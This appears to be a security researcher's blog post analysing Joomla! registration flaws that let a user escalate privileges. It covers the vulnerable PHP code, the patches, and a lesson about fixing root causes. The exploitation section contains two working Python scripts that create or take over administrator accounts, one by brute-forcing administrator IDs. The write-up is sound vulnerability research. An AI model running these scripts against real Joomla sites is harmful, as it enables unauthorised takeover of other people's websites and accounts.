Polygonal Background
20 January, 2017
  • Posted By Charles Fol
  • joomla exploit vulnerability details
Full Article

Introduction

Joomla! has been the target of several critical vulnerabilities during last year:

As a new year comes, it is a good time to review two high impact vulnerabilities that were discovered four years apart, but that are in fact rooted in the same piece of code.

  • CVE-2012-1563: Privilege Escalation: Programming error allows privilege escalation in some cases.
  • CVE-2016-9838: Privilege Escalation: Incorrect use of unfiltered data stored to the session on a form validation failure allows for existing user accounts to be modified; to include resetting their username, password, and user group assignments.

To understand how to exploit the bugs, we must first dive into Joomla!'s User module, responsible for every user-related operation, such as login in, or registering. We will focus on the latter, at it is where the magic happens.

Analysis

The behaviour for user registration is:

  1. The registration controller is invoked, and the register() method is called.
  2. Form data is fetched from the jform POST array.
  3. The controller verifies that data is coherent: username is not taken already, passwords match... and displays error(s) otherwise. Additionally, extraneous fields are silently removed.
  4. If the original data is erroneous, the controller saves it in session, and redirects back to the form.
  5. Otherwise, the model tries to register the data.
# components/com_users/controllers/registration.php

public function register() [0]
{
    // Check for request forgeries.
    JRequest::checkToken() or jexit(JText::_('JINVALID_TOKEN'));

    [...]

    // Initialise variables.
    $app    = JFactory::getApplication();
    $model  = $this->getModel('Registration', 'UsersModel');

    // Get the user data.
    $requestData = JRequest::getVar('jform', array(), 'post', 'array'); [1]

    // Validate the posted data.
    $form   = $model->getForm();
    [...]
    $data   = $model->validate($form, $requestData); [2]

    // Check for validation errors.
    if ($data === false) { [3]
        [...]

        // Save the data in the session.
        $app->setUserState('com_users.registration.data', $requestData);

        // Redirect back to the registration screen.
        $this->setRedirect(JRoute::_('index.php?option=com_users&view=registration', false));
        return false;
    }

    // Attempt to save the data.
    $return = $model->register($data); [4]

    // Check for errors.
    if ($return === false) {
        [...]
        return false;
    }

    [...]
    return true;
}

The code's logic is perfectly valid. Nevertheless, the mistake happens in the Model's own register() method, which works like this:

  1. The method is called with VALID data in $temp.
  2. If present, the errorneous form data is fetched from the session. Some of it is filtered.
  3. Both array are merged (!).
  4. User is created and saved.
# components/com_users/models/registration.php

public function register($temp) [1]
{
    $config = JFactory::getConfig();
    $db     = $this->getDbo();
    $params = JComponentHelper::getParams('com_users');

    // Initialise the table with JUser.
    $user = new JUser;
    $data = (array)$this->getData(); [2]

    // Merge in the registration data.
    foreach ($temp as $k => $v) { [3]
        $data[$k] = $v;
    }

    [...]

    // Bind the data.
    if (!$user->bind($data)) { [4]
        $this->setError(JText::sprintf('COM_USERS_REGISTRATION_BIND_FAILED', $user->getError()));
        return false;
    }

    [...]

    // Store the data.
    if (!$user->save()) { [5]
        $this->setError(JText::sprintf('COM_USERS_REGISTRATION_SAVE_FAILED', $user->getError()));
        return false;
    }
}

The problem arises from the fact that potentially invalid or malicious data is merged with valid data before being inserted in DB.

From these, we can design a generic exploitation:

  • Submit the registration form with invalid data and additional malicious fields; the form gets rejected, and the data is saved in session
  • Correct errors and send the form again -> Valid and invalid forms are merged. Additional malicious fields are kept and inserted in the user table.

Those two bugs are not the only ones that come from a programming mistake located in the user registration code, CVE-2016-8869 is another example. Here's the culprit:

# components/com_users/controllers/user.php

public function register()
{
    [...]
    $data = $this->input->post->get('user', array(), 'array');
    $return = $model->validate($form, $data);

    // Check for errors.
    if ($return === false)
    {
        [...]
        return false;
    }

    // Finish the registration.
    $return = $model->register($data);

    return $return;
}

Here, instead of using the filtered array $return to perform the registration, Joomla! reuses the user-supplied unfiltered array, $data. Sucuri described the bug in more details here.

Exploitation

Joomla! 2.5.2

The exploitation on Joomla 2.5.2 and below takes advantage of the fact that user groups are not checked upon registration: one can add a jform[groups] value to the form, and get elevated privileges.

#!/usr/bin/python3
# CVE-2012-1563: Joomla! <= 2.5.2 Admin Creation
# cf

import bs4
import requests
import random


url = 'http://vmweb.lan/joomla-cms-2.5.2/'
form_url = url + 'index.php/using-joomla/extensions/components/users-component/registration-form'
action_url = url + 'index.php/using-joomla/extensions/components/users-component/registration-form?task=registration.register'

username = 'user%d' % random.randrange(1000, 10000)
email = username + '@yopmail.com'
password = 'ActualRandomChimpanzee123'

user_data = {
    'name': username,
    'username': username,
    'password1': password,
    'password2': password + 'XXXinvalid',
    'email1': email,
    'email2': email,
    'groups][': '7'
}

session = requests.Session()

# Grab original data from the form, including the CSRF token

response = session.get(form_url)
soup = bs4.BeautifulSoup(response.text, 'lxml')

form = soup.find('form', id='member-registration')
data = {e['name']: e['value'] for e in form.find_all('input')}

# Build our modified data array

user_data = {'%s]' % k: v for k, v in user_data.items()}
data.update(user_data)

# First request will get denied because the two passwords are mismatched

response = session.post(action_url, data=data)

# The second will work

data['jform[password2]'] = data['jform[password1]']
del data['jform[groups][]']
response = session.post(action_url, data=data)

print("Account created for user: %s [%s]" % (username, email))

Joomla! 3.6.4 and below

The latest exploitation is a bit more complex. By setting an additional field, jform[id], the attacker tricks Joomla into modifying an already registered user: it is possible to modify his password and email, along with other things. By picking the ID of an administrator, this allows complete access to the administration panel.

#!/usr/bin/python3
# CVE-2016-9838: Joomla! <= 3.6.4 Admin TakeOver
# cf

import bs4
import requests
import random


ADMIN_ID = 384
url = 'http://vmweb.lan/Joomla-3.6.4/'

form_url = url + 'index.php/component/users/?view=registration'
action_url = url + 'index.php/component/users/?task=registration.register'

username = 'user%d' % random.randrange(1000, 10000)
email = username + '@yopmail.com'
password = 'ActualRandomChimpanzee123'

user_data = {
    'name': username,
    'username': username,
    'password1': password,
    'password2': password + 'XXXinvalid',
    'email1': email,
    'email2': email,
    'id': '%d' % ADMIN_ID
}

session = requests.Session()

# Grab original data from the form, including the CSRF token

response = session.get(form_url)
soup = bs4.BeautifulSoup(response.text, 'lxml')

form = soup.find('form', id='member-registration')
data = {e['name']: e['value'] for e in form.find_all('input')}

# Build our modified data array

user_data = {'jform[%s]' % k: v for k, v in user_data.items()}
data.update(user_data)

# First request will get denied because the two passwords are mismatched

response = session.post(action_url, data=data)

# The second will work

data['jform[password2]'] = data['jform[password1]']
del data['jform[id]']
response = session.post(action_url, data=data)

print("Account modified to user: %s [%s]" % (username, email))

For an attacker, the only problem resides in finding the correct ID. Upon installation, Joomla! uses a random value between 1 and 1000 to seed the first user ID. This can be circumvented by either leaking user IDs somehow, using a plugin for instance, of simply iterating on the value and waiting for administrator access to happen.

Although the exploit works on old versions as well, it is somehow mitigated because normal users cannot edit super-users. Nevertheless, by combining the exploit with any type of privilege escalation, complete server takeover is relatively easy. For those interested, the involved piece of code is present in libraries/joomla/user/user.php, in the save() method.

Note: Unless configured otherwise, Joomla! sends a confirmation email after the account has been created/modified, so the registration email needs to be valid.

Fixes

Both bugs were fixed by hardening the getData() method.

Joomla! 2.5.2

The bug affects Joomla! versions 2.5.2, 2.5.1 and 2.5.0.

It was fixed by resetting the groups array() in UsersModelRegistration's getData() method.

Fix

Joomla! 3.6.4 and below

The second bugs affects versions 1.6.0 through 3.6.4.

This time, it was fixed properly, by only merging the fields if they exist in the form.

Fix

Conclusion

Even if, in hindsight, the second vulnerability was right under people's eyes, it took four years for it to get fixed; the first bug was fixed in a haste, without thinking about the root cause of the problem. Overall, a lesson is to be learned: in order to properly fix a bug, one needs to understand not only what it is, but also why it happened.